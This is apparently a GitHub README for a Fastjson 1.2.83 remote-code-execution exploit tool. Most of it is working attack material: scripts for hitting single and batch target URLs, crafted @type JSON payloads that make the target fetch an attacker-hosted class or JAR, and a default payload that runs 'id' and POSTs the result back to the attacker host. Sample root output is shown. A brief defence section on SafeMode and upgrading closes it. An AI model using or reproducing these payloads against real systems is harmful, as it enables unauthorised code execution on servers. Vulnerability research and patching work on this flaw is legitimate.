midisec/fastjson-1.2.83-gadget-rce
GitHub: midisec/fastjson-1.2.83-gadget-rce
Fastjson 1.2.68~1.2.83 版本 getResourceAsStream gadget RCE 漏洞的 PoC 验证与利用工具,支持多 JDK 版本和批量目标检测。
Stars: 3 | Forks: 8
# fastjson-1.2.83-gadget-rce
Fastjson 1.2.83 `getResourceAsStream` gadget RCE poc。
poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。
默认 payload 执行 `id` 并 POST 回攻击端 `/out`,用于确认命令执行结果。
## 快速使用
### 单个 HTTP 目标
scripts/http-test.sh <攻击端IP> <攻击端HTTP端口> <目标URL> [接口路径]
示例:
scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse
脚本会自动尝试:
- `jdk8-http`
- `fd`
成功时输出类似:
[+] fd: ID-OOB OK
[+] OOB POST /out from target_ip
uid=0(root) gid=0(root) groups=0(root)
### 批量 HTTP 目标
`urls.txt` 每行一个完整接口:
http://10.0.0.8:8080/parse
http://10.0.0.9:8080/api/json
运行:
scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt
也可以每行写服务根地址,统一追加接口路径:
http://10.0.0.8:8080
http://10.0.0.9:8080
scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse
批量结果会输出到 `/tmp/fastjson-batch-*/results.jsonl`,完整日志在同目录下。
### Docker 本地验证
本地启动多个 JDK 靶场容器,并通过 HTTP 打 `/parse`:
HOST_IP=192.168.65.254 JDKS="8 17 21 25" ./scripts/test-jdks.sh
Docker Desktop 上 `HOST_IP` 通常是 `192.168.65.254`;如果不通,换成容器能访问宿主机的 IP。
### 手动构建 Payload
bash scripts/build.sh <攻击端IP> <攻击端HTTP端口> id-oob <模式>
示例:
bash scripts/build.sh 172.20.10.2 19090 id-oob fd
python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20
模式:
- `jdk8-http`
- `fd`
## 漏洞原理
Fastjson 1.2.83 在 `ParserConfig.checkAutoType` 中会根据 `@type` 拼接 class resource:
String resource = typeName.replace('.', '/') + ".class";
is = defaultClassLoader.getResourceAsStream(resource);
因此特殊 `@type` 可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource,便可能请求攻击端 HTTP server 并加载带 `@JSONType` 的 class。
触发过程:
1. 攻击者发送包含特殊 `@type` 的 JSON。
2. Fastjson 把 `.` 替换成 `/`,进入 `getResourceAsStream` 探测。
3. 目标请求攻击端 HTTP server 下载 class/JAR。
4. `@JSONType` 影响 AutoType 判定路径。
5. 命中 `loadClass` / 实例化后执行恶意 class 的 ``。
IPv4 会转成十进制格式,例如:
192.168.65.254 -> 3232252414
这样可以避免 IP 里的 `.` 被替换成 `/`。
## JDK 版本区别
| 模式 | 适用场景 | 行为 | 本机结果 |
| ----------- | ------------------------------- | ------------------------------------------------- | ---------------------- |
| `jdk8-http` | JDK8 + Spring Boot 2 FatJar | 直接拉取 `/a.class` 并加载 | JDK 8u492 成功 |
| `fd` | JDK17/21 + Spring Boot 3 FatJar | 先拉取 `/probe`,再枚举 `/proc/self/fd/N` 加载 JAR 内 class | JDK 17.0.19、21.0.11 成功 |
| `fd` | JDK25 + Spring Boot 3 FatJar | 可拉取 `/probe`,但未收到命令回显 | JDK 25.0.3 未成功 |
JDK8 短链使用:
{"@type":"http:..3232252414:19090.a"}
转换后:
http://192.168.65.254:19090/a.class
JDK17/21 FD 链使用:
[
{"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"},
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"}
]
转换后:
jar:http://192.168.65.254:19090/probe!/foo/Exception.class
jar:file:/proc/self/fd/N!/fdN/Exception.class
只看到 `/probe` 或 `/a.class` 请求只能说明目标能访问攻击端资源,不代表 RCE 成功;以 `/out` 的 `uid/gid` 回传为准。
## 影响条件
- Fastjson 1.2.83
- 未启用 `-Dfastjson.parser.safeMode=true`
- 服务端解析不可信 JSON 中的 `@type`
- 目标 ClassLoader 支持对应 resource 加载路径
- 目标能访问攻击端 HTTP server
## 防护
1. 启用 SafeMode:`-Dfastjson.parser.safeMode=true`
2. 升级到 fastjson2
3. 禁止不可信 JSON 使用 `@type`
4. 限制业务 JVM 出网
5. 审计 FatJar/ClassLoader 对远程 URL resource 的解析行为
标签:CISA项目, Fastjson, Maven, 应用安全, 漏洞验证, 编程工具, 请求拦截, 远程代码执行, 逆向工具